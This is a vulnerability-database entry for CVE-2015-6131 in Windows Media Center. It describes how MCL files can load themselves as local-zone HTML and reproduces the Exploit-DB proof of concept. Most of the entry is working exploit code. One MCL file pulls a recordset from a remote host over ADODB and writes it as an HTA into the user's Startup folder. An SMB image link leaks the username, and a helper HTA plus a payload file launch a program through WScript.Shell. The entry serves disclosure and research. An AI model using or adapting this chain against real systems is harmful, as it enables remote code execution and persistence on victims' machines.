Microsoft Windows Media Center Library Parsing RCE Vuln aka 'self-executing' MCL file (CVE-2015-6131)

vendor:

Windows Media Center

by:

Eduardo Braun Prado

9,3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Windows Media Center

Affected Version From: MS Windows Media Center latest version on any Windows OS.

Affected Version To: MS Windows Media Center latest version on any Windows OS.

Patch Exists: Yes

Related CWE: CVE-2015-6131

CPE: o:microsoft:windows_media_center

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2015

Microsoft Windows Media Center Library Parsing RCE Vuln aka ‘self-executing’ MCL file (CVE-2015-6131)

Windows Media Center contains a remote code execution vulnerability because it allows 'MCL' files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA 'self-executing' MCL files.

Mitigation:

Microsoft has released a security update to address this vulnerability.

Source

Exploit-DB raw data:

Title: Microsoft Windows Media Center Library Parsing RCE Vuln aka "self-executing" MCL file (CVE-2015-6131)

Software Vendor: Microsoft

Software version : MS Windows Media Center latest version on any Windows OS.

Software Vendor Homepage: http://www.microsoft.com

CVE: CVE-2015-6131

Exploit Author: Eduardo Braun Prado

Vulnerability oficial discoverer: Zhang YunHai of NSFOCUS Security Team

date: december 8, 2015

Vulnerability description:

Windows Media Center contains a remote code execution vulnerability because it allows "MCL" files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA "self-executing" MCL files.


exploit code below:

----------- self-exec-1.mcl ------------------------------------

<application url="self-exec1.mcl"/><html><script>alert(' I am running in local machine zone which allows arbitrary code execution via, for example, ADO Objects')</script></html>

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----------self-exec-2.mcl--------------------------------------

<application url="self-exec2.mcl"/><html><b>Use a sniffer software to sniff SMB traffic and retrieve the remote Windows username required for this exploit</b><img src=\\192.168.10.10\smbshare\someimg.jpg></img><script> RecordsetURL='http://192.168.10.10:80/recordsetfile.txt'; var rs = new ActiveXObject('ADODB.recordset'); rs.Open(RecordsetURL); rs.Save('C:/users/windowsuser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/poc.hta'); rs.Close();
</script></html>
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-----Create-recordsetfile.hta --------------

<html><body onload="aa()">

<script language="VBScript">

function aa()


defdir="."

alert "This script will retrieve data from ""recordsetdata.txt"" and save it to the current directory as ""recordsetfile.txt"". 




Set c = CreateObject("ADODB.Connection")
co = "Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=" & defdir & ";Extensions=txt;"
c.Open co
set rs =CreateObject("ADODB.Recordset")
rs.Open "SELECT * from recordsetdata.txt", c
al=rs.Save(defdir & "\recordsetfile.txt")
rs.close

end function
</script></body></html>

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---------recordsetdata.txt------------------------------------------

<html>
<script>a=new ActiveXObject('Wscript.Shell')</script>
<script>a.Run('calc.exe',1);</script>
</html>
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